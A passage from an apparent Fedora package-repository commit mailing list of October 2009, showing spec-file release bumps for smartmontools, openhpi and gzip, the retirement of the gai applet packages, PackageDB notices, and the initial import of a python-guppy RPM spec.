@@ -155,7 +166,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
      case 'h':
        // help: print summary of command-line options
        debugmode=1;
-@@ -4408,6 +4441,16 @@ static int smartd_main(int argc, char **
+@@ -4408,6 +4443,16 @@ static int smartd_main(int argc, char **
    
    // don't exit on bad checksums
    con->checksumfail=0;
@@ -172,7 +183,7 @@ diff -up smartmontools-5.38/smartd.cpp.l
    
    // the main loop of the code
    while (1){
-@@ -4482,7 +4525,15 @@ static int smartd_main(int argc, char **
+@@ -4482,7 +4527,15 @@ static int smartd_main(int argc, char **
          PrintTestSchedule(ATAandSCSIdevlist);
          EXIT(0);
        }


Index: smartmontools.spec
===================================================================
RCS file: /cvs/extras/rpms/smartmontools/F-11/smartmontools.spec,v
retrieving revision 1.57
retrieving revision 1.58
diff -u -p -r1.57 -r1.58
--- smartmontools.spec	5 Oct 2009 14:02:21 -0000	1.57
+++ smartmontools.spec	9 Oct 2009 09:11:47 -0000	1.58
@@ -1,6 +1,6 @@
 Name: smartmontools
 Version: 5.38
-Release: 14%{?dist}
+Release: 15%{?dist}
 Epoch: 1
 Summary:       Tools for monitoring SMART capable hard disks
 Group:         System Environment/Base
@@ -79,7 +79,10 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/smartmontools
 
 %changelog
-* Mon Oct 05 2009 Michal Hlaivnka <mhlavink at redhat.com> - 1:5.38-14
+* Fri Oct 09 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-15
+- make init script lsb compliant (#528016)
+
+* Mon Oct 05 2009 Michal Hlavinka <mhlavink at redhat.com> - 1:5.38-14
 - make capabilities optional
 - fix capabilities for 3ware contollers (#526626)
 



From sharkcz at fedoraproject.org  Fri Oct  9 09:28:56 2009
From: sharkcz at fedoraproject.org (=?utf-8?q?Dan_Hor=C3=A1k?=)
Date: Fri,  9 Oct 2009 09:28:56 +0000 (UTC)
Subject: rpms/openhpi/devel openhpi.spec,1.77,1.78
Message-ID: <20091009092856.D462511C00C1@cvs1.fedora.phx.redhat.com>

Author: sharkcz

Update of /cvs/pkgs/rpms/openhpi/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv27973

Modified Files:
	openhpi.spec 
Log Message:
* Fri Oct  9 2009 Dan Hor?k <dan[at]danny.cz> - 2.14.0-6
- rebuilt with net-snmp 5.5



Index: openhpi.spec
===================================================================
RCS file: /cvs/pkgs/rpms/openhpi/devel/openhpi.spec,v
retrieving revision 1.77
retrieving revision 1.78
diff -u -p -r1.77 -r1.78
--- openhpi.spec	21 Aug 2009 14:52:02 -0000	1.77
+++ openhpi.spec	9 Oct 2009 09:28:56 -0000	1.78
@@ -1,7 +1,7 @@
 Summary: Hardware Platform Interface library and tools
 Name: openhpi
 Version: 2.14.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 License: BSD
 Group: System Environment/Base
 URL: http://www.openhpi.org
@@ -140,6 +140,9 @@ fi
 
 
 %changelog
+* Fri Oct  9 2009 Dan Hor?k <dan[at]danny.cz> - 2.14.0-6
+- rebuilt with net-snmp 5.5
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 2.14.0-5
 - rebuilt with new openssl
 



From varekova at fedoraproject.org  Fri Oct  9 09:57:43 2009
From: varekova at fedoraproject.org (Ivana Varekova)
Date: Fri,  9 Oct 2009 09:57:43 +0000 (UTC)
Subject: rpms/gzip/devel gzip.spec,1.49,1.50
Message-ID: <20091009095743.7203411C00C1@cvs1.fedora.phx.redhat.com>

Author: varekova

Update of /cvs/pkgs/rpms/gzip/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3251

Modified Files:
	gzip.spec 
Log Message:
- change the source tag



Index: gzip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gzip/devel/gzip.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- gzip.spec	11 Aug 2009 06:15:10 -0000	1.49
+++ gzip.spec	9 Oct 2009 09:57:43 -0000	1.50
@@ -1,11 +1,11 @@
 Summary: The GNU data compression program
 Name: gzip
 Version: 1.3.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 # info pages are under GFDL license
 License: GPLv2 and GFDL
 Group: Applications/File
-Source: ftp://alpha.gnu.org/gnu/gzip/gzip-%{version}.tar.gz
+Source: http://ftp.gnu.org/gnu/gzip/gzip-%{version}.tar.gz
 Patch0: gzip-1.3.12-openbsd-owl-tmp.patch
 Patch1: gzip-1.3.5-zforce.patch
 Patch3: gzip-1.3.9-stderr.patch
@@ -93,6 +93,9 @@ fi
 %{_infodir}/gzip.info*
 
 %changelog
+* Fri Oct  9 2009 Ivana Varekova <varekova at redhat.com> - 1.3.12-12
+- change the source tag
+
 * Tue Aug 11 2009 Ivana Varekova <varekova redhat com> - 1.3.12-11
 - fix installation with --excludedocs option (#515975)
 



From varekova at fedoraproject.org  Fri Oct  9 10:04:29 2009
From: varekova at fedoraproject.org (Ivana Varekova)
Date: Fri,  9 Oct 2009 10:04:29 +0000 (UTC)
Subject: rpms/gzip/F-12 gzip.spec,1.49,1.50
Message-ID: <20091009100429.AD72211C00C1@cvs1.fedora.phx.redhat.com>

Author: varekova

Update of /cvs/pkgs/rpms/gzip/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5432

Modified Files:
	gzip.spec 
Log Message:
- change the source tag



Index: gzip.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gzip/F-12/gzip.spec,v
retrieving revision 1.49
retrieving revision 1.50
diff -u -p -r1.49 -r1.50
--- gzip.spec	11 Aug 2009 06:15:10 -0000	1.49
+++ gzip.spec	9 Oct 2009 10:04:29 -0000	1.50
@@ -1,11 +1,11 @@
 Summary: The GNU data compression program
 Name: gzip
 Version: 1.3.12
-Release: 11%{?dist}
+Release: 12%{?dist}
 # info pages are under GFDL license
 License: GPLv2 and GFDL
 Group: Applications/File
-Source: ftp://alpha.gnu.org/gnu/gzip/gzip-%{version}.tar.gz
+Source: http://ftp.gnu.org/gnu/gzip/gzip-%{version}.tar.gz
 Patch0: gzip-1.3.12-openbsd-owl-tmp.patch
 Patch1: gzip-1.3.5-zforce.patch
 Patch3: gzip-1.3.9-stderr.patch
@@ -93,6 +93,9 @@ fi
 %{_infodir}/gzip.info*
 
 %changelog
+* Fri Oct  9 2009 Ivana Varekova <varekova at redhat.com> - 1.3.12-12
+- change the source tag
+
 * Tue Aug 11 2009 Ivana Varekova <varekova redhat com> - 1.3.12-11
 - fix installation with --excludedocs option (#515975)
 



From mschwendt at fedoraproject.org  Fri Oct  9 10:24:48 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri,  9 Oct 2009 10:24:48 +0000 (UTC)
Subject: rpms/gai/F-12 dead.package, NONE, 1.1 .cvsignore, 1.4,
	NONE gai-0.5.10-build.patch, 1.1, NONE gai-0.5.10-exit.patch,
	1.1, NONE gai-0.5.10-gnome-panel-2.25.patch, 1.1,
	NONE gai-0.5.10-nls.patch, 1.2, NONE gai-0.5.10-xorg.patch, 1.1,
	NONE gai-0.5.9-pkgconfig.patch, 1.1, NONE gai.spec, 1.33,
	NONE sources, 1.4, NONE
Message-ID: <20091009102448.E64CF11C00C1@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/gai/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10581/gai/F-12

Added Files:
	dead.package 
Removed Files:
	.cvsignore gai-0.5.10-build.patch gai-0.5.10-exit.patch 
	gai-0.5.10-gnome-panel-2.25.patch gai-0.5.10-nls.patch 
	gai-0.5.10-xorg.patch gai-0.5.9-pkgconfig.patch gai.spec 
	sources 
Log Message:
retire gai, gai-temp, gai-pal


--- NEW FILE dead.package ---
GAI (General Applet Interface Library)
Only two of the applets have ever been included in the Fedora Package
Collection. There has not been any new release since 2005. Several
patches have been mailed upstream, but later without any response.

gnome-applet-sensors is an actively developed alternative to gai-temp


--- .cvsignore DELETED ---


--- gai-0.5.10-build.patch DELETED ---


--- gai-0.5.10-exit.patch DELETED ---


--- gai-0.5.10-gnome-panel-2.25.patch DELETED ---


--- gai-0.5.10-nls.patch DELETED ---


--- gai-0.5.10-xorg.patch DELETED ---


--- gai-0.5.9-pkgconfig.patch DELETED ---


--- gai.spec DELETED ---


--- sources DELETED ---



From mschwendt at fedoraproject.org  Fri Oct  9 10:24:49 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri,  9 Oct 2009 10:24:49 +0000 (UTC)
Subject: rpms/gai/devel dead.package, NONE, 1.1 .cvsignore, 1.4,
	NONE gai-0.5.10-build.patch, 1.1, NONE gai-0.5.10-exit.patch,
	1.1, NONE gai-0.5.10-gnome-panel-2.25.patch, 1.1,
	NONE gai-0.5.10-nls.patch, 1.2, NONE gai-0.5.10-xorg.patch, 1.1,
	NONE gai-0.5.9-pkgconfig.patch, 1.1, NONE gai.spec, 1.33,
	NONE sources, 1.4, NONE
Message-ID: <20091009102449.6678111C00C1@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/gai/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10581/gai/devel

Added Files:
	dead.package 
Removed Files:
	.cvsignore gai-0.5.10-build.patch gai-0.5.10-exit.patch 
	gai-0.5.10-gnome-panel-2.25.patch gai-0.5.10-nls.patch 
	gai-0.5.10-xorg.patch gai-0.5.9-pkgconfig.patch gai.spec 
	sources 
Log Message:
retire gai, gai-temp, gai-pal


--- NEW FILE dead.package ---
GAI (General Applet Interface Library)
Only two of the applets have ever been included in the Fedora Package
Collection. There has not been any new release since 2005. Several
patches have been mailed upstream, but later without any response.

gnome-applet-sensors is an actively developed alternative to gai-temp


--- .cvsignore DELETED ---


--- gai-0.5.10-build.patch DELETED ---


--- gai-0.5.10-exit.patch DELETED ---


--- gai-0.5.10-gnome-panel-2.25.patch DELETED ---


--- gai-0.5.10-nls.patch DELETED ---


--- gai-0.5.10-xorg.patch DELETED ---


--- gai-0.5.9-pkgconfig.patch DELETED ---


--- gai.spec DELETED ---


--- sources DELETED ---



From mschwendt at fedoraproject.org  Fri Oct  9 10:24:51 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri,  9 Oct 2009 10:24:51 +0000 (UTC)
Subject: rpms/gai-pal/F-12 dead.package, NONE, 1.1 .cvsignore, 1.3,
	NONE gai-pal-0.7-fonts.patch, 1.1,
	NONE gai-pal-0.7-nostrip.patch, 1.1, NONE gai-pal-0.7-typo.patch,
	1.1, NONE gai-pal-0.7-xosd-empty-msg.patch, 1.2,
	NONE gai-pal.spec, 1.23, NONE sources, 1.3, NONE
Message-ID: <20091009102451.4628C11C00C1@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/gai-pal/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10581/gai-pal/F-12

Added Files:
	dead.package 
Removed Files:
	.cvsignore gai-pal-0.7-fonts.patch gai-pal-0.7-nostrip.patch 
	gai-pal-0.7-typo.patch gai-pal-0.7-xosd-empty-msg.patch 
	gai-pal.spec sources 
Log Message:
retire gai, gai-temp, gai-pal


--- NEW FILE dead.package ---
GAI (General Applet Interface Library)
Only two of the applets have ever been included in the Fedora Package
Collection. There has not been any new release since 2005. Several
patches have been mailed upstream, but later without any response.

gnome-applet-sensors is an actively developed alternative to gai-temp


--- .cvsignore DELETED ---


--- gai-pal-0.7-fonts.patch DELETED ---


--- gai-pal-0.7-nostrip.patch DELETED ---


--- gai-pal-0.7-typo.patch DELETED ---


--- gai-pal-0.7-xosd-empty-msg.patch DELETED ---


--- gai-pal.spec DELETED ---


--- sources DELETED ---



From mschwendt at fedoraproject.org  Fri Oct  9 10:24:51 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri,  9 Oct 2009 10:24:51 +0000 (UTC)
Subject: rpms/gai-pal/devel dead.package, NONE, 1.1 .cvsignore, 1.3,
	NONE gai-pal-0.7-fonts.patch, 1.1,
	NONE gai-pal-0.7-nostrip.patch, 1.1, NONE gai-pal-0.7-typo.patch,
	1.1, NONE gai-pal-0.7-xosd-empty-msg.patch, 1.2,
	NONE gai-pal.spec, 1.23, NONE sources, 1.3, NONE
Message-ID: <20091009102451.E1AFF11C00C1@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/gai-pal/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10581/gai-pal/devel

Added Files:
	dead.package 
Removed Files:
	.cvsignore gai-pal-0.7-fonts.patch gai-pal-0.7-nostrip.patch 
	gai-pal-0.7-typo.patch gai-pal-0.7-xosd-empty-msg.patch 
	gai-pal.spec sources 
Log Message:
retire gai, gai-temp, gai-pal


--- NEW FILE dead.package ---
GAI (General Applet Interface Library)
Only two of the applets have ever been included in the Fedora Package
Collection. There has not been any new release since 2005. Several
patches have been mailed upstream, but later without any response.

gnome-applet-sensors is an actively developed alternative to gai-temp


--- .cvsignore DELETED ---


--- gai-pal-0.7-fonts.patch DELETED ---


--- gai-pal-0.7-nostrip.patch DELETED ---


--- gai-pal-0.7-typo.patch DELETED ---


--- gai-pal-0.7-xosd-empty-msg.patch DELETED ---


--- gai-pal.spec DELETED ---


--- sources DELETED ---



From mschwendt at fedoraproject.org  Fri Oct  9 10:24:50 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri,  9 Oct 2009 10:24:50 +0000 (UTC)
Subject: rpms/gai-temp/F-12 dead.package, NONE, 1.1 .cvsignore, 1.2,
	NONE gai-temp-0.1.1-gerror.patch, 1.1,
	NONE gai-temp-0.1.1-glib-gobject-critical.patch, 1.1,
	NONE gai-temp.spec, 1.16, NONE sources, 1.4, NONE
Message-ID: <20091009102450.1923211C00C1@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/gai-temp/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10581/gai-temp/F-12

Added Files:
	dead.package 
Removed Files:
	.cvsignore gai-temp-0.1.1-gerror.patch 
	gai-temp-0.1.1-glib-gobject-critical.patch gai-temp.spec 
	sources 
Log Message:
retire gai, gai-temp, gai-pal


--- NEW FILE dead.package ---
GAI (General Applet Interface Library)
Only two of the applets have ever been included in the Fedora Package
Collection. There has not been any new release since 2005. Several
patches have been mailed upstream, but later without any response.

gnome-applet-sensors is an actively developed alternative to gai-temp


--- .cvsignore DELETED ---


--- gai-temp-0.1.1-gerror.patch DELETED ---


--- gai-temp-0.1.1-glib-gobject-critical.patch DELETED ---


--- gai-temp.spec DELETED ---


--- sources DELETED ---



From mschwendt at fedoraproject.org  Fri Oct  9 10:24:50 2009
From: mschwendt at fedoraproject.org (Michael Schwendt)
Date: Fri,  9 Oct 2009 10:24:50 +0000 (UTC)
Subject: rpms/gai-temp/devel dead.package, NONE, 1.1 .cvsignore, 1.2,
	NONE gai-temp-0.1.1-gerror.patch, 1.1,
	NONE gai-temp-0.1.1-glib-gobject-critical.patch, 1.1,
	NONE gai-temp.spec, 1.16, NONE sources, 1.4, NONE
Message-ID: <20091009102450.9FF5111C00C1@cvs1.fedora.phx.redhat.com>

Author: mschwendt

Update of /cvs/pkgs/rpms/gai-temp/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv10581/gai-temp/devel

Added Files:
	dead.package 
Removed Files:
	.cvsignore gai-temp-0.1.1-gerror.patch 
	gai-temp-0.1.1-glib-gobject-critical.patch gai-temp.spec 
	sources 
Log Message:
retire gai, gai-temp, gai-pal


--- NEW FILE dead.package ---
GAI (General Applet Interface Library)
Only two of the applets have ever been included in the Fedora Package
Collection. There has not been any new release since 2005. Several
patches have been mailed upstream, but later without any response.

gnome-applet-sensors is an actively developed alternative to gai-temp


--- .cvsignore DELETED ---


--- gai-temp-0.1.1-gerror.patch DELETED ---


--- gai-temp-0.1.1-glib-gobject-critical.patch DELETED ---


--- gai-temp.spec DELETED ---


--- sources DELETED ---



From pkgdb at fedoraproject.org  Fri Oct  9 10:29:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:29:44 +0000
Subject: [pkgdb] gai ownership updated
Message-ID: <20091009102944.E47DF10F84D@bastion2.fedora.phx.redhat.com>

Package gai in Fedora devel is now owned by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai



From pkgdb at fedoraproject.org  Fri Oct  9 10:29:44 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:29:44 +0000
Subject: [pkgdb] gai (un)retirement
Message-ID: <20091009102945.0340210F892@bastion2.fedora.phx.redhat.com>

Package gai in Fedora devel has been retired by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai



From pkgdb at fedoraproject.org  Fri Oct  9 10:29:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:29:50 +0000
Subject: [pkgdb] gai ownership updated
Message-ID: <20091009102950.EC3AA10F8A1@bastion2.fedora.phx.redhat.com>

Package gai in Fedora 12 is now owned by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai



From pkgdb at fedoraproject.org  Fri Oct  9 10:29:50 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:29:50 +0000
Subject: [pkgdb] gai (un)retirement
Message-ID: <20091009102951.0B9F810F8A4@bastion2.fedora.phx.redhat.com>

Package gai in Fedora 12 has been retired by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai



From pkgdb at fedoraproject.org  Fri Oct  9 10:30:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:30:24 +0000
Subject: [pkgdb] gai-pal ownership updated
Message-ID: <20091009103024.85D7F10F880@bastion2.fedora.phx.redhat.com>

Package gai-pal in Fedora devel is now owned by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai-pal



From pkgdb at fedoraproject.org  Fri Oct  9 10:30:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:30:24 +0000
Subject: [pkgdb] gai-pal (un)retirement
Message-ID: <20091009103024.99AA010F895@bastion2.fedora.phx.redhat.com>

Package gai-pal in Fedora devel has been retired by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai-pal



From pkgdb at fedoraproject.org  Fri Oct  9 10:30:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:30:35 +0000
Subject: [pkgdb] gai-pal ownership updated
Message-ID: <20091009103036.3333C10F84D@bastion2.fedora.phx.redhat.com>

Package gai-pal in Fedora 12 is now owned by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai-pal



From pkgdb at fedoraproject.org  Fri Oct  9 10:30:35 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:30:35 +0000
Subject: [pkgdb] gai-pal (un)retirement
Message-ID: <20091009103036.4735310F894@bastion2.fedora.phx.redhat.com>

Package gai-pal in Fedora 12 has been retired by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai-pal



From pkgdb at fedoraproject.org  Fri Oct  9 10:30:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:30:58 +0000
Subject: [pkgdb] gai-temp ownership updated
Message-ID: <20091009103058.5BDF310F84D@bastion2.fedora.phx.redhat.com>

Package gai-temp in Fedora devel was orphaned by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai-temp



From pkgdb at fedoraproject.org  Fri Oct  9 10:30:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:30:58 +0000
Subject: [pkgdb] gai-temp (un)retirement
Message-ID: <20091009103058.6947E10F892@bastion2.fedora.phx.redhat.com>

Package gai-temp in Fedora devel has been retired by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai-temp



From pkgdb at fedoraproject.org  Fri Oct  9 10:31:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:31:02 +0000
Subject: [pkgdb] gai-temp ownership updated
Message-ID: <20091009103102.453F710F84D@bastion2.fedora.phx.redhat.com>

Package gai-temp in Fedora 12 was orphaned by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai-temp



From pkgdb at fedoraproject.org  Fri Oct  9 10:31:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Fri, 09 Oct 2009 10:31:02 +0000
Subject: [pkgdb] gai-temp (un)retirement
Message-ID: <20091009103102.51A8210F8A8@bastion2.fedora.phx.redhat.com>

Package gai-temp in Fedora 12 has been retired by mschwendt

To make changes to this package see:
  /pkgdb/packages/name/gai-temp



From peter at fedoraproject.org  Fri Oct  9 10:33:19 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri,  9 Oct 2009 10:33:19 +0000 (UTC)
Subject: rpms/python-guppy/devel import.log, NONE, 1.1 python-guppy.spec,
	NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009103319.8F90111C0265@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/python-guppy/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv12725/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-guppy.spec 
Log Message:
initial commit


--- NEW FILE import.log ---
python-guppy-0_1_9-1_fc11:HEAD:python-guppy-0.1.9-1.fc11.src.rpm:1255084365


--- NEW FILE python-guppy.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%define realname guppy


Name:		python-%{realname}
Version:	0.1.9
Release:	1%{?dist}
Summary:	A Python Programming Environment
Group:		Development/Languages
License:	MIT
URL:		http://guppy-pe.sourceforge.net/
Source0:	http://pypi.python.org/packages/source/g/%{realname}/%{realname}-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires:	python-devel
BuildRequires:	python-setuptools-devel
Provides:	%{realname} = %{version}-%{release}


%description
Guppy-PE is a library and programming environment for Python, currently
providing in particular the Heapy subsystem, which supports object and heap
memory sizing, profiling and debugging. It also includes a prototypical
specification language, the Guppy Specification Language (GSL), which can be
used to formally specify aspects of Python programs and generate tests and
documentation from a common source.


%prep
%setup -q -n %{realname}-%{version}


%build
%{__python} -c 'import setuptools; execfile("setup.py")' build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} -c 'import setuptools; execfile("setup.py")' install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc ANNOUNCE ANNOUNCE-0.1.5 ChangeLog PKG-INFO README
%{python_sitearch}/%{realname}/
%{python_sitearch}/%{realname}-%{version}-*.egg-info/


%changelog
* Fri Aug 14 2009 Peter Lemenkov <lemenkov at gmail.com> 0.1.9-1
- Initial package for Fedora
- Still no gsl-subpackage for emacs


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:49:36 -0000	1.1
+++ .cvsignore	9 Oct 2009 10:33:19 -0000	1.2
@@ -0,0 +1 @@
+guppy-0.1.9.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:49:36 -0000	1.1
+++ sources	9 Oct 2009 10:33:19 -0000	1.2
@@ -0,0 +1 @@
+221c50d574277e4589cc4ae03f76727a  guppy-0.1.9.tar.gz



From peter at fedoraproject.org  Fri Oct  9 10:34:46 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri,  9 Oct 2009 10:34:46 +0000 (UTC)
Subject: rpms/python-guppy/F-12 import.log, NONE, 1.1 python-guppy.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009103446.6E5F711C00C1@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/python-guppy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13144/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-guppy.spec 
Log Message:
initial commit


--- NEW FILE import.log ---
python-guppy-0_1_9-1_fc11:F-12:python-guppy-0.1.9-1.fc11.src.rpm:1255084451


--- NEW FILE python-guppy.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%define realname guppy


Name:		python-%{realname}
Version:	0.1.9
Release:	1%{?dist}
Summary:	A Python Programming Environment
Group:		Development/Languages
License:	MIT
URL:		http://guppy-pe.sourceforge.net/
Source0:	http://pypi.python.org/packages/source/g/%{realname}/%{realname}-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires:	python-devel
BuildRequires:	python-setuptools-devel
Provides:	%{realname} = %{version}-%{release}


%description
Guppy-PE is a library and programming environment for Python, currently
providing in particular the Heapy subsystem, which supports object and heap
memory sizing, profiling and debugging. It also includes a prototypical
specification language, the Guppy Specification Language (GSL), which can be
used to formally specify aspects of Python programs and generate tests and
documentation from a common source.


%prep
%setup -q -n %{realname}-%{version}


%build
%{__python} -c 'import setuptools; execfile("setup.py")' build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} -c 'import setuptools; execfile("setup.py")' install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc ANNOUNCE ANNOUNCE-0.1.5 ChangeLog PKG-INFO README
%{python_sitearch}/%{realname}/
%{python_sitearch}/%{realname}-%{version}-*.egg-info/


%changelog
* Fri Aug 14 2009 Peter Lemenkov <lemenkov at gmail.com> 0.1.9-1
- Initial package for Fedora
- Still no gsl-subpackage for emacs


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:49:36 -0000	1.1
+++ .cvsignore	9 Oct 2009 10:34:46 -0000	1.2
@@ -0,0 +1 @@
+guppy-0.1.9.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	9 Oct 2009 02:49:36 -0000	1.1
+++ sources	9 Oct 2009 10:34:46 -0000	1.2
@@ -0,0 +1 @@
+221c50d574277e4589cc4ae03f76727a  guppy-0.1.9.tar.gz



From peter at fedoraproject.org  Fri Oct  9 10:36:10 2009
From: peter at fedoraproject.org (Peter Lemenkov)
Date: Fri,  9 Oct 2009 10:36:10 +0000 (UTC)
Subject: rpms/python-guppy/F-11 import.log, NONE, 1.1 python-guppy.spec, NONE,
	1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091009103610.09FC911C00C1@cvs1.fedora.phx.redhat.com>

Author: peter

Update of /cvs/pkgs/rpms/python-guppy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv13542/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	import.log python-guppy.spec 
Log Message:
initial commit


--- NEW FILE import.log ---
python-guppy-0_1_9-1_fc11:F-11:python-guppy-0.1.9-1.fc11.src.rpm:1255084545


--- NEW FILE python-guppy.spec ---
%{!?python_sitearch: %global python_sitearch %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib(1)")}


%define realname guppy


Name:		python-%{realname}
Version:	0.1.9
Release:	1%{?dist}
Summary:	A Python Programming Environment
Group:		Development/Languages
License:	MIT
URL:		http://guppy-pe.sourceforge.net/
Source0:	http://pypi.python.org/packages/source/g/%{realname}/%{realname}-%{version}.tar.gz
BuildRoot:	%(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires:	python-devel
BuildRequires:	python-setuptools-devel
Provides:	%{realname} = %{version}-%{release}


%description
Guppy-PE is a library and programming environment for Python, currently
providing in particular the Heapy subsystem, which supports object and heap
memory sizing, profiling and debugging. It also includes a prototypical
specification language, the Guppy Specification Language (GSL), which can be
used to formally specify aspects of Python programs and generate tests and
documentation from a common source.


%prep
%setup -q -n %{realname}-%{version}


%build
%{__python} -c 'import setuptools; execfile("setup.py")' build


%install
rm -rf $RPM_BUILD_ROOT
%{__python} -c 'import setuptools; execfile("setup.py")' install --skip-build --root $RPM_BUILD_ROOT


%clean
rm -rf $RPM_BUILD_ROOT


%files
%defattr(-,root,root,-)
%doc ANNOUNCE ANNOUNCE-0.1.5 ChangeLog PKG-INFO README
%{python_sitearch}/%{realname}/
%{python_sitearch}/%{realname}-%{version}-*.egg-info/


%changelog
* Fri Aug 14 2009 Peter Lemenkov <lemenkov at gmail.com> 0.1.9-1
- Initial package for Fedora
- Still no gsl-subpackage for emacs


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-guppy/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	9 Oct 2009 02:49:36 -0000	1.1
+++ .cvsignore	9 Oct 2009 10:36:09 -0000	1.2
@@ -0,0 +1 @@
+guppy-0.1.9.tar.gz


Index: sources
===================================================================
